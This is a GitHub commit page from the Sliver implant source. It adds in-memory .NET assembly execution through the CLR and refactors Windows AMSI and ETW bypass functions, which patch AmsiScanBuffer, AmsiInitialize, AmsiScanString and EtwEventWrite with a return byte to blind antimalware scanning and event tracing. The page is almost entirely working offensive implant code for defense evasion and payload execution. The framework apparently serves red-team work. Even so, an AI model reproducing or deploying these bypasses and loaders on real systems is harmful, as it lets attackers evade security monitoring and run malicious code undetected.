Skip to content

Commit

Permalink
Working in-mem execute-assembly
Browse files Browse the repository at this point in the history
  • Loading branch information
rkervella committed Aug 26, 2022
1 parent 6a44f6b commit 3b3a335
Show file tree
Hide file tree
Showing 2 changed files with 172 additions and 128 deletions.
106 changes: 106 additions & 0 deletions implant/sliver/taskrunner/dotnet_windows.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
//go:build windows
// +build windows

package taskrunner

import (
"crypto/sha256"
"errors"
"fmt"
clr "github.com/Ne0nd0g/go-clr"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
)

var (
clrInstance *CLRInstance
assemblies []*assembly
)

type assembly struct {
methodInfo *clr.MethodInfo
hash [32]byte
}

type CLRInstance struct {
runtimeHost *clr.ICORRuntimeHost
sync.Mutex
}

func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
c.Lock()
defer c.Unlock()
if c.runtimeHost == nil {
// {{if .Config.Debug}}
log.Printf("Initializing CLR runtime host")
// {{end}}
c.runtimeHost, _ = clr.LoadCLR(runtime)
err := clr.RedirectStdoutStderr()
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not redirect stdout/stderr: %v\n", err)
// {{end}}
}
}
return c.runtimeHost
}

func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
var (
methodInfo *clr.MethodInfo
err error
)

rtHost := clrInstance.GetRuntimeHost(runtime)
if rtHost == nil {
return "", errors.New("Could not load CLR runtime host")
}

if asm := getAssembly(data); asm != nil {
methodInfo = asm.methodInfo
} else {
methodInfo, err = clr.LoadAssembly(rtHost, data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not load assembly: %v\n", err)
// {{end}}
return "", err
}
addAssembly(methodInfo, data)
}
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
// for methods like Main(String[] args), if we pass an empty string slice
// the clr loader will not pass the argument and look for a method with
// no arguments, which won't work
assemblyArgs = []string{" "}
}
// {{if .Config.Debug}}
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
// {{end}}
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
return fmt.Sprintf("%s\n%s", stdout, stderr), nil
}

func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
asmHash := sha256.Sum256(data)
asm := &assembly{methodInfo: methodInfo, hash: asmHash}
assemblies = append(assemblies, asm)
}

func getAssembly(data []byte) *assembly {
asmHash := sha256.Sum256(data)
for _, asm := range assemblies {
if asm.hash == asmHash {
return asm
}
}
return nil
}

func init() {
clrInstance = &CLRInstance{}
assemblies = make([]*assembly, 0)
}
194 changes: 66 additions & 128 deletions implant/sliver/taskrunner/task_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,8 +25,6 @@ import (
// {{if .Config.Debug}}
"log"
// {{else}}{{end}}
"errors"
"fmt"
"os/exec"
"runtime"
"strings"
Expand All @@ -41,7 +39,6 @@ import (

// {{end}}

clr "github.com/Ne0nd0g/go-clr"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
)
Expand Down Expand Up @@ -203,153 +200,94 @@ func LocalTask(data []byte, rwxPages bool) error {
return err
}

func getDotnetRutnimes() ([]string, error) {
metaHost, err := clr.CLRCreateInstance(clr.CLSID_CLRMetaHost, clr.IID_ICLRMetaHost)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not create CLR instance: %v\n", err)
// {{end}}
return nil, err
}
runtimes, err := clr.GetInstalledRuntimes(metaHost)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not get installed runtimes: %v\n", err)
// {{end}}
return nil, err
}
return runtimes, nil
}

func isSupportedRuntime(runtime string) bool {
runtimes, err := getDotnetRutnimes()
if err != nil {
return false
}
for _, r := range runtimes {
if runtime == r {
return true
}
}
return false
}

func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
if amsiBypass {
// load amsi.dll
amsiDLL := windows.NewLazyDLL("amsi.dll")
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
amsiScanString := amsiDLL.NewProc("AmsiScanString")

// patch
amsiAddr := []uintptr{
amsiScanBuffer.Addr(),
amsiInitialize.Addr(),
amsiScanString.Addr(),
}
patch := byte(0xC3)
for _, addr := range amsiAddr {
// skip if already patched
if *(*byte)(unsafe.Pointer(addr)) != patch {
// {{if .Config.Debug}}
log.Println("Patching AMSI")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return "", err
}
*(*byte)(unsafe.Pointer(addr)) = 0xC3
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return "", err
}
}
}
}
if etwBypass {
ntdll := windows.NewLazyDLL("ntdll.dll")
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
func patchAmsi() error {
// load amsi.dll
amsiDLL := windows.NewLazyDLL("amsi.dll")
amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
amsiScanString := amsiDLL.NewProc("AmsiScanString")

// patch
patch := byte(0xC3)
// patch
amsiAddr := []uintptr{
amsiScanBuffer.Addr(),
amsiInitialize.Addr(),
amsiScanString.Addr(),
}
patch := byte(0xC3)
for _, addr := range amsiAddr {
// skip if already patched
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
if *(*byte)(unsafe.Pointer(addr)) != patch {
// {{if .Config.Debug}}
log.Println("Patching ETW")
log.Println("Patching AMSI")
// {{end}}
var oldProtect uint32
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return "", err
return err
}
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
*(*byte)(unsafe.Pointer(addr)) = 0xC3
err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return "", err
return err
}
}
}
err := clr.RedirectStdoutStderr()
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not redirect stdout/stderr: %v\n", err)
// {{end}}
return "", err
}
runtimes, err := getDotnetRutnimes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not get installed runtimes: %v\n", err)
// {{end}}
return "", err
}
if len(runtimes) == 0 {
return nil
}

func patchEtw() error {
ntdll := windows.NewLazyDLL("ntdll.dll")
etwEventWriteProc := ntdll.NewProc("EtwEventWrite")

// patch
patch := byte(0xC3)
// skip if already patched
if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
// {{if .Config.Debug}}
log.Printf("no runtimes found")
log.Println("Patching ETW")
// {{end}}
return "", errors.New("no runtimes found")
}
rt := runtimes[0]
if runtime != "" && isSupportedRuntime(runtime) {
rt = runtime
var oldProtect uint32
err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect failed:", err)
//{{end}}
return err
}
*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
if err != nil {
//{{if .Config.Debug}}
log.Println("VirtualProtect (restauring) failed:", err)
//{{end}}
return err
}
}
// {{if .Config.Debug}}
log.Printf("using runtime: %s", rt)
// {{end}}
runtimeHost := clrInstance.GetRuntimeHost(rt)
// {{if .Config.Debug}}
log.Println("CLR loaded")
// {{end}}
methodInfo, err := clr.LoadAssembly(runtimeHost, assemblyBytes)
if err != nil {
// {{if .Config.Debug}}
log.Printf("could not load assembly: %v\n", err)
// {{end}}
return "", err
return nil
}

func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
if amsiBypass {
err := patchAmsi()
if err != nil {
return "", err
}
}
if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
assemblyArgs = []string{" "}

if etwBypass {
err := patchEtw()
if err != nil {
return "", err
}
}
// {{if .Config.Debug}}
log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
// {{end}}
stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
return fmt.Sprintf("%s\n%s", stdout, stderr), nil

return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
}

func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
Expand Down

0 comments on commit 3b3a335

Please sign in to comment.